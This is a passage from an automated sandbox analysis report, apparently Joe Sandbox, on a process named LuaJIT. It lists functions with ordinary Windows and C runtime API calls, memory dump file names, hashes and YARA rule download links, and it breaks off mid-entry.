Instruction ID: 1315cb8d72b599e26d6520144f252e3ac0c7e5b57b902b16842eb57a3d740c6d
Opcode Fuzzy Hash: 342de704302773eeb4f8a3e9181b51dc3d1ebcbc1097d58ab930e3d4315a225c
Instruction Fuzzy Hash: 96118E92F0968361EA5476649890679D2826F847A4F880335E93E4B2D6CF7EA440A22B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B10728 Relevance: 3.0, APIs: 2, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,00007FF738B0CE7B,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3), ref: 00007FF738B106C8
GetLastError.KERNEL32(?,?,?,00007FF738B0CE7B,?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3), ref: 00007FF738B106D2

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ce9c87b8e086668eb34a44c81d26ffbadf1ed6bf51d5273b0643082e019e2796
Instruction ID: 87cca56fa2f7d51173a94b7f40f364f3be89d15e6fbdd657e79ff281b839e3d0
Opcode Fuzzy Hash: ce9c87b8e086668eb34a44c81d26ffbadf1ed6bf51d5273b0643082e019e2796
Instruction Fuzzy Hash: A911C663B1CB8351DE10A726A84407DE222AB84BF0BD40331E93E0B7D8DE3DE452A715

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738ABF080 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00007FF738ABF0E3
FreeLibrary.KERNEL32(?,?,?,?,?,?,00007FF738ABEE23,?,?,?,?,00007FF738A80377), ref: 00007FF738ABF100

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: a766f8a0e7bd2c8c12d36500e370b6cf717aaa638450d80a18f47b53e407cafa
Instruction ID: 7fb44e4dfb68e937f2e97e59a54de27df639c170251711a1743726efea62ed76
Opcode Fuzzy Hash: a766f8a0e7bd2c8c12d36500e370b6cf717aaa638450d80a18f47b53e407cafa
Instruction Fuzzy Hash: 30114832908A4693D621AB54E480729F3B0F788768F940231E69E437F8DF3ED945DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B07A6A Relevance: 2.7, Strings: 2, Instructions: 155COMMON

Download Yara Rule

Strings

;, xrefs: 00007FF734B07A77
n, xrefs: 00007FF734B07B37

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID: ;$n
API String ID: 0-2359131802
Opcode ID: a8918e1d8db0d15dd890f9ec76c7c461a5698f93455ba63284a487f5ad53ba70
Instruction ID: 9d5f1593326e78b544c145f88f0c30ba6913e34a793d8afae3cc33852509bb8f
Opcode Fuzzy Hash: a8918e1d8db0d15dd890f9ec76c7c461a5698f93455ba63284a487f5ad53ba70
Instruction Fuzzy Hash: 5851D93181895F5BEB95AF258888EA0F391FF14315FC04274C808D75D5EB34B995E7E2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A42DC0 Relevance: 2.7, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF738A42DD9
SetLastError.KERNEL32 ref: 00007FF738A43083

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 130162f1e612a8c7bbf9229168b096cb58dc45a9e80bbc9874db3e364027be0a
Instruction ID: 7b651581ddc30569455e9462e9cce0968951af010c7a98fc29a490e9f4859316
Opcode Fuzzy Hash: 130162f1e612a8c7bbf9229168b096cb58dc45a9e80bbc9874db3e364027be0a
Instruction Fuzzy Hash: D6711733619B8586CB60DB1AE48076AF7A0F7C8B90F544235EA9D87BA8DE3DD440CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A4CAF0 Relevance: 1.7, APIs: 1, Instructions: 217stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strrchr.LIBCMTD ref: 00007FF738A4CB65

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-0
Opcode ID: 6698cab11dcdf472175319ca2dc2c7f576ac6a670256202f22260dff448593ab
Instruction ID: 353d764666c28453c4767af1337b4aa6bd78e2446f994f582834b45ec30110a0
Opcode Fuzzy Hash: 6698cab11dcdf472175319ca2dc2c7f576ac6a670256202f22260dff448593ab
Instruction Fuzzy Hash: 9BB1193360DA818ADA70DB19E48076AF7A0F7C9B98F444226EA9D83B59DF3DD541CF04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B01290 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B012D2

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 51b45f4f2e914d10d61072481e6ba082d454b860a929ad620602fe75d6a0c9cb
Instruction ID: afda3d802af9c99d2f57187372a67497510cfc857f2529976ca68bfa26f97675
Opcode Fuzzy Hash: 51b45f4f2e914d10d61072481e6ba082d454b860a929ad620602fe75d6a0c9cb
Instruction Fuzzy Hash: B441E8A2B0824365EA5CAD26550093DF281AF05FE4F844234EE3D47BD5DF3DF441962B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A64C00 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 00007FF738A64D74

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _free_nolock
String ID:
API String ID: 2882679554-0
Opcode ID: b3af2ff0c18311ab22d1fc21a707ae1a8690425f7f867d5984d1b9b90b111ee8
Instruction ID: 2a3ac4f136e2de9487779264ef54e877771706196858faeeff0a7c14b40e9000
Opcode Fuzzy Hash: b3af2ff0c18311ab22d1fc21a707ae1a8690425f7f867d5984d1b9b90b111ee8
Instruction Fuzzy Hash: 5151E93761AB4992DB20EB1AE49012EF7B1F7C9B94F500232EA8D47B68CF3DD5518B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0E7D8 Relevance: 1.6, APIs: 1, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0E800

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: db93148fabc532a6c34eb6862733ff8622850cb7730be65101fd0d6c6195c713
Instruction ID: e6805bcfc072163112ba83f490393e2e6650163eaa4e7e288a58767effebe723
Opcode Fuzzy Hash: db93148fabc532a6c34eb6862733ff8622850cb7730be65101fd0d6c6195c713
Instruction Fuzzy Hash: DD412773A09242A7EE54AB58D640678F3A0FB41784F900131DB6D47791CF3AF462E367

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A4DFF0 Relevance: 1.6, APIs: 1, Instructions: 102stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strrchr.LIBCMTD ref: 00007FF738A4E178

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-0
Opcode ID: 89b1068a0023759cda3ceb920f6e8c1857f0eae96593cfe7be954dcf565d8c29
Instruction ID: f373f892a67e234ce299603a4e302dde3a2036475900e371567da88c6a3d9aff
Opcode Fuzzy Hash: 89b1068a0023759cda3ceb920f6e8c1857f0eae96593cfe7be954dcf565d8c29
Instruction Fuzzy Hash: A051C636619B98C6DB60DB0AE49031AFBA0F7C8B98F144225EADD47B69CB7DC150CF04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0E0C0 Relevance: 1.6, APIs: 1, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0E1B7

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0e89df1cee367fa0f0f46a6ac241d8f662de84c4c6795c4a8f44f9d2dcd22c84
Instruction ID: dfe7012872eb23be196b0b40a509cd0a005f74ccfb5d9b9fae76e1502ef98a49
Opcode Fuzzy Hash: 0e89df1cee367fa0f0f46a6ac241d8f662de84c4c6795c4a8f44f9d2dcd22c84
Instruction Fuzzy Hash: 0A31DE73A09212A6EB407B54C841BBDE650AF84BA5FD40136D92C033D2CFBEB440A73B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0CCF8 Relevance: 1.6, APIs: 1, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725dd5f513ee018f179944fbfd3c274e410564992d79a5923990aa7a3aa2159f
Instruction ID: dc8974897d57ff6b5d275effc61c56258021046fb9d1c136e9eb0f83dddda677
Opcode Fuzzy Hash: 725dd5f513ee018f179944fbfd3c274e410564992d79a5923990aa7a3aa2159f
Instruction Fuzzy Hash: 492105A3A0925762E7217F219C41B7DEA50AF44BA0FD40235E92D073D2CF7EF441A72A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B11698 Relevance: 1.6, APIs: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B116BB

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 577015f382c4b3755d8f64dd5a887aadd0f37ae10328c7424eed687849d3f455
Instruction ID: ca70219836ed25f7b99ebbc0109f82b6b48b6180839f8e7f32346d30b0b77eb4
Opcode Fuzzy Hash: 577015f382c4b3755d8f64dd5a887aadd0f37ae10328c7424eed687849d3f455
Instruction Fuzzy Hash: 94214933A08A4397DB61AF18D44037DF6A2EB84B90F980234E65D4B6D5DF3ED4009B15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFAC60 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF738AFAC7F

Part of subcall function 00007FF738AFAD68: GetModuleHandleExW.KERNEL32 ref: 00007FF738AFAD84
Part of subcall function 00007FF738AFAD68: GetProcAddress.KERNEL32 ref: 00007FF738AFAD9A
Part of subcall function 00007FF738AFAD68: FreeLibrary.KERNEL32 ref: 00007FF738AFADB7

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 1dc9139e11363fa82b7be69403f460f39e9a84a2ce977399372339b1150ab367
Instruction ID: 167c6b8e70a5d69b246a1f543f38c16bf6e7951fdfd9384a2dfce275394f4e96
Opcode Fuzzy Hash: 1dc9139e11363fa82b7be69403f460f39e9a84a2ce977399372339b1150ab367
Instruction Fuzzy Hash: 99214F32E06B819EEB11AFA4C8446ECB7B0EB44B0CFA44536D74D02B85DF39E545DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFB114 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFB080

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 023d0aab57ed6f467ea251b0bc75c069ffa40aacfcbe2261f6c8a82ef05c1b62
Instruction ID: 5274edc1ab34e4fad34dbdb4e78ac1f75294c53f84b2679dcb744a0fa15ac93c
Opcode Fuzzy Hash: 023d0aab57ed6f467ea251b0bc75c069ffa40aacfcbe2261f6c8a82ef05c1b62
Instruction Fuzzy Hash: 2A11C673A0F58251FA50BA109800BBDD2A0AF45B84FD40132EA6C57A86DF3EE401A729

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFB3A0 Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFB3F4

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d80676324fc048e8d4e4a872a728742d6b00377b6fd520cac49514b25728106e
Instruction ID: 3b96a6402ff3365a4c3a8802c65d2964cb958382ddf38753ea5ec9fb3c3f1c9f
Opcode Fuzzy Hash: d80676324fc048e8d4e4a872a728742d6b00377b6fd520cac49514b25728106e
Instruction Fuzzy Hash: 7E018672A0AB4150EA04AB529D01579D6E1BB85FE0F884632EE6C57BD9DE3DE0425318

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A3ACA0 Relevance: 1.5, APIs: 1, Instructions: 42stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strrchr.LIBCMTD ref: 00007FF738A3AD47

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: strrchr
String ID:
API String ID: 3418686817-0
Opcode ID: 780b0584eb1b015e06906ae28c91b89760f41660562197ec5489c976ab8378eb
Instruction ID: 30c692e9ada95cd6d14891adfc0761ce7dcb790c74d8ade15d250974ab57fa8c
Opcode Fuzzy Hash: 780b0584eb1b015e06906ae28c91b89760f41660562197ec5489c976ab8378eb
Instruction Fuzzy Hash: 2E11D833908A969BD720EA04E04442EF761F7C5745F600135EB8D47B98CB7EE941EF08

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0D534 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7afefbf03386326cba4bd6de125ee669795ec973f90e0913fdea4b7710bc3827
Instruction ID: a969076bcb63a089bb4f87b2a1c16f3975fce55b5379892ad330c1a0a88f53af
Opcode Fuzzy Hash: 7afefbf03386326cba4bd6de125ee669795ec973f90e0913fdea4b7710bc3827
Instruction Fuzzy Hash: 0B11C4B390A643A5EA05BF54D8406ACF760EF807A8FD44232E65D062D5DF7EF000EB26

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738AFAF18 Relevance: 1.5, APIs: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738AFAF35

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6b95eac102df65bb9225ae6595800cc8afe0f5ca61e7e8ab3e37982ea9be704d
Instruction ID: 48d29e4f285121930b67dd5a3a23fc9c1e176fda0aef154e567a5acee8e1e358
Opcode Fuzzy Hash: 6b95eac102df65bb9225ae6595800cc8afe0f5ca61e7e8ab3e37982ea9be704d
Instruction Fuzzy Hash: A601B593A0B54322FA147B659C11BBCD2405F45BBCFA40331E92D4A2D2CE7EF401A32A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0143C Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B01471

Memory Dump Source

